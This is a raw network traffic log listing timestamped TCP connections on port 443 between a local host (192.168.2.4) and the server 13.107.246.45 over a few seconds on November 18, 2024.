Nov 18, 2024 17:24:36.742527008 CET	50029	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:36.742558002 CET	443	50029	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:36.848341942 CET	443	50023	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:36.848768950 CET	50023	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:36.848788977 CET	443	50023	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:36.849224091 CET	50023	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:36.849231958 CET	443	50023	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:36.980901003 CET	443	50023	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:36.981055975 CET	443	50023	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:36.981132984 CET	50023	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:36.981215954 CET	50023	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:36.981229067 CET	443	50023	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:36.981266022 CET	50023	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:36.981271982 CET	443	50023	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:36.984101057 CET	50030	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:36.984126091 CET	443	50030	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:36.984206915 CET	50030	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:36.984359980 CET	50030	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:36.984374046 CET	443	50030	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:37.315007925 CET	443	50026	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:37.315787077 CET	50026	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:37.315824032 CET	443	50026	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:37.316781998 CET	50026	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:37.316790104 CET	443	50026	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:37.439686060 CET	443	50027	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:37.445086956 CET	443	50026	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:37.445234060 CET	443	50026	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:37.445287943 CET	443	50026	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:37.445343018 CET	50026	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:37.445382118 CET	50026	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:37.448820114 CET	50027	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:37.448838949 CET	443	50027	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:37.449301958 CET	50027	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:37.449306965 CET	443	50027	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:37.449629068 CET	50026	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:37.449655056 CET	443	50026	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:37.449666023 CET	50026	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:37.449675083 CET	443	50026	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:37.452444077 CET	50031	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:37.452536106 CET	443	50031	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:37.452636003 CET	50031	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:37.452754021 CET	50031	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:37.452788115 CET	443	50031	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:37.473692894 CET	443	50028	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:37.474263906 CET	50028	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:37.474330902 CET	443	50028	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:37.474688053 CET	50028	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:37.474703074 CET	443	50028	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:37.481271029 CET	443	50029	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:37.481539965 CET	50029	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:37.481580019 CET	443	50029	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:37.481894970 CET	50029	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:37.481906891 CET	443	50029	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:37.581538916 CET	443	50027	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:37.581680059 CET	443	50027	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:37.581770897 CET	50027	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:37.582050085 CET	50027	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:37.582050085 CET	50027	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:37.582068920 CET	443	50027	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:37.582088947 CET	443	50027	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:37.584661007 CET	50032	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:37.584709883 CET	443	50032	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:37.584801912 CET	50032	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:37.584933996 CET	50032	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:37.584947109 CET	443	50032	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:37.606554985 CET	443	50028	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:37.606578112 CET	443	50028	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:37.606641054 CET	443	50028	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:37.606650114 CET	50028	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:37.606760979 CET	50028	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:37.606993914 CET	50028	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:37.606993914 CET	50028	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:37.607042074 CET	443	50028	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:37.607079029 CET	443	50028	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:37.609381914 CET	50033	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:37.609412909 CET	443	50033	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:37.609488964 CET	50033	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:37.609630108 CET	50033	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:37.609647036 CET	443	50033	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:37.613342047 CET	443	50029	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:37.613363028 CET	443	50029	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:37.613420010 CET	443	50029	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:37.613429070 CET	50029	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:37.613460064 CET	50029	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:37.613884926 CET	50029	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:37.613884926 CET	50029	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:37.613907099 CET	443	50029	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:37.613920927 CET	443	50029	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:37.616863012 CET	50034	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:37.616941929 CET	443	50034	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:37.617031097 CET	50034	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:37.617157936 CET	50034	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:37.617189884 CET	443	50034	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:37.734395981 CET	443	50030	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:37.736752033 CET	50030	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:37.736819983 CET	443	50030	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:37.737345934 CET	50030	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:37.737360954 CET	443	50030	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:37.868638992 CET	443	50030	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:37.868706942 CET	443	50030	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:37.868777037 CET	50030	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:37.868813992 CET	443	50030	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:37.868835926 CET	443	50030	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:37.868876934 CET	50030	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:37.869009972 CET	50030	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:37.869029999 CET	443	50030	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:37.869049072 CET	50030	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:37.869056940 CET	443	50030	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:37.871673107 CET	50035	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:37.871720076 CET	443	50035	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:37.871794939 CET	50035	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:37.871910095 CET	50035	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:37.871925116 CET	443	50035	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:38.223525047 CET	443	50031	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:38.224585056 CET	50031	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:38.224663973 CET	443	50031	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:38.225193024 CET	50031	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:38.225208044 CET	443	50031	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:38.345042944 CET	443	50033	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:38.345660925 CET	50033	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:38.345721006 CET	443	50033	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:38.346218109 CET	50033	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:38.346231937 CET	443	50033	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:38.346474886 CET	443	50032	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:38.346826077 CET	50032	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:38.346852064 CET	443	50032	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:38.347453117 CET	50032	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:38.347460985 CET	443	50032	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:38.352420092 CET	443	50034	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:38.352868080 CET	50034	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:38.352889061 CET	443	50034	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:38.353486061 CET	50034	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:38.353493929 CET	443	50034	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:38.355981112 CET	443	50031	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:38.356035948 CET	443	50031	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:38.356086969 CET	50031	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:38.356286049 CET	50031	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:38.356304884 CET	443	50031	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:38.356319904 CET	50031	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:38.356327057 CET	443	50031	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:38.359189034 CET	50036	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:38.359215021 CET	443	50036	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:38.359350920 CET	50036	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:38.359505892 CET	50036	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:38.359520912 CET	443	50036	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:38.479562044 CET	443	50033	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:38.479830027 CET	443	50033	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:38.479935884 CET	50033	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:38.479991913 CET	50033	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:38.480010986 CET	443	50033	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:38.480022907 CET	50033	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:38.480035067 CET	443	50033	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:38.483187914 CET	50037	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:38.483220100 CET	443	50034	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:38.483232021 CET	443	50037	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:38.483316898 CET	50037	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:38.483494997 CET	443	50034	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:38.483541965 CET	443	50034	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:38.483555079 CET	50034	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:38.483584881 CET	443	50032	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:38.483611107 CET	50034	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:38.483617067 CET	443	50032	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:38.483664036 CET	50032	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:38.483669043 CET	443	50032	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:38.483707905 CET	50032	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:38.483828068 CET	50037	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:38.483845949 CET	443	50037	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:38.483894110 CET	50034	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:38.483911991 CET	443	50034	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:38.483932018 CET	50034	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:38.483939886 CET	443	50034	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:38.485163927 CET	50032	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:38.485172987 CET	443	50032	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:38.485183954 CET	50032	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:38.485188961 CET	443	50032	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:38.505705118 CET	50039	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:38.505722046 CET	443	50039	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:38.505779982 CET	50038	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:38.505795956 CET	50039	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:38.505865097 CET	443	50038	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:38.505945921 CET	50038	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:38.505994081 CET	50039	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:38.506001949 CET	443	50039	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:38.506129026 CET	50038	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:38.506156921 CET	443	50038	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:38.612569094 CET	443	50035	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:38.626977921 CET	50035	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:38.627022982 CET	443	50035	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:38.627605915 CET	50035	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:38.627626896 CET	443	50035	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:38.753386974 CET	443	50035	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:38.757287979 CET	443	50035	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:38.757375956 CET	50035	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:38.757616043 CET	50035	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:38.757628918 CET	443	50035	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:38.757671118 CET	50035	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:38.757677078 CET	443	50035	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:38.761652946 CET	50041	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:38.761677980 CET	443	50041	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:38.761755943 CET	50041	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:38.762218952 CET	50041	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:38.762238026 CET	443	50041	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:39.115127087 CET	443	50036	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:39.157141924 CET	50036	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:39.224910975 CET	443	50037	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:39.244806051 CET	50036	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:39.244872093 CET	443	50036	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:39.245230913 CET	50036	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:39.245248079 CET	443	50036	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:39.245536089 CET	50037	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:39.245572090 CET	443	50037	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:39.245853901 CET	50037	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:39.245862007 CET	443	50037	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:39.259278059 CET	443	50039	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:39.259620905 CET	50039	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:39.259640932 CET	443	50039	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:39.260030985 CET	50039	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:39.260040998 CET	443	50039	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:39.260895967 CET	443	50038	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:39.262048960 CET	50038	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:39.262072086 CET	443	50038	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:39.265938997 CET	50038	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:39.265944958 CET	443	50038	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:39.378199100 CET	443	50037	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:39.378374100 CET	443	50037	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:39.378434896 CET	50037	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:39.378578901 CET	50037	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:39.378602982 CET	443	50037	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:39.378619909 CET	50037	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:39.378628016 CET	443	50037	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:39.381580114 CET	50042	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:39.381618023 CET	443	50042	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:39.381700993 CET	50042	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:39.381825924 CET	50042	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:39.381835938 CET	443	50042	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:39.381903887 CET	443	50036	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:39.381980896 CET	443	50036	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:39.382035971 CET	50036	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:39.382046938 CET	443	50036	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:39.382107019 CET	443	50036	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:39.382133007 CET	50036	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:39.382148027 CET	443	50036	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:39.382164001 CET	50036	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:39.382173061 CET	443	50036	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:39.382191896 CET	50036	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:39.382196903 CET	443	50036	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:39.384524107 CET	50043	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:39.384547949 CET	443	50043	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:39.384614944 CET	50043	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:39.384720087 CET	50043	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:39.384730101 CET	443	50043	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:39.392627001 CET	443	50039	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:39.392702103 CET	443	50039	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:39.392772913 CET	50039	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:39.393162012 CET	50039	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:39.393172026 CET	443	50039	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:39.393186092 CET	50039	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:39.393192053 CET	443	50039	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:39.394448042 CET	443	50038	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:39.394490957 CET	443	50038	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:39.394541025 CET	50038	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:39.394557953 CET	443	50038	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:39.394579887 CET	443	50038	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:39.394640923 CET	50038	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:39.394835949 CET	50038	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:39.394850016 CET	443	50038	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:39.394876957 CET	50038	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:39.394887924 CET	443	50038	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:39.396284103 CET	50044	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:39.396308899 CET	443	50044	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:39.396378040 CET	50044	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:39.396712065 CET	50044	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:39.396732092 CET	443	50044	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:39.397496939 CET	50045	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:39.397536039 CET	443	50045	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:39.397597075 CET	50045	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:39.397783995 CET	50045	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:39.397799015 CET	443	50045	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:39.518568039 CET	443	50041	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:39.519107103 CET	50041	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:39.519119024 CET	443	50041	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:39.519715071 CET	50041	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:39.519718885 CET	443	50041	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:39.701919079 CET	443	50041	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:39.702089071 CET	443	50041	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:39.702166080 CET	50041	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:39.702383995 CET	50041	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:39.702403069 CET	443	50041	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:39.702414036 CET	50041	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:39.702429056 CET	443	50041	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:39.705729961 CET	50046	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:39.705770969 CET	443	50046	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:39.705846071 CET	50046	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:39.706056118 CET	50046	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:39.706067085 CET	443	50046	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:40.106719971 CET	443	50043	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:40.107611895 CET	50043	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:40.107625008 CET	443	50043	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:40.107970953 CET	50043	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:40.107975960 CET	443	50043	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:40.129900932 CET	443	50045	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:40.130379915 CET	50045	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:40.130413055 CET	443	50045	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:40.130692959 CET	443	50044	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:40.130733013 CET	50045	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:40.130740881 CET	443	50045	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:40.131052971 CET	50044	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:40.131081104 CET	443	50044	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:40.131397963 CET	50044	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:40.131405115 CET	443	50044	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:40.146784067 CET	443	50042	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:40.147118092 CET	50042	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:40.147130013 CET	443	50042	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:40.147484064 CET	50042	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:40.147489071 CET	443	50042	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:40.234951973 CET	443	50043	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:40.235677958 CET	443	50043	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:40.235832930 CET	50043	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:40.235832930 CET	50043	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:40.236310005 CET	50043	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:40.236329079 CET	443	50043	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:40.239264965 CET	50047	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:40.239301920 CET	443	50047	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:40.239449024 CET	50047	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:40.239618063 CET	50047	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:40.239629984 CET	443	50047	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:40.258701086 CET	443	50045	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:40.258831978 CET	443	50045	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:40.258881092 CET	443	50045	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:40.258946896 CET	50045	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:40.259258986 CET	50045	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:40.259274006 CET	443	50045	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:40.259287119 CET	50045	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:40.259290934 CET	443	50045	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:40.260966063 CET	443	50044	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:40.261055946 CET	443	50044	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:40.261140108 CET	50044	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:40.261317968 CET	50044	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:40.261334896 CET	443	50044	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:40.261348009 CET	50044	443	192.168.2.4	13.107.246.45
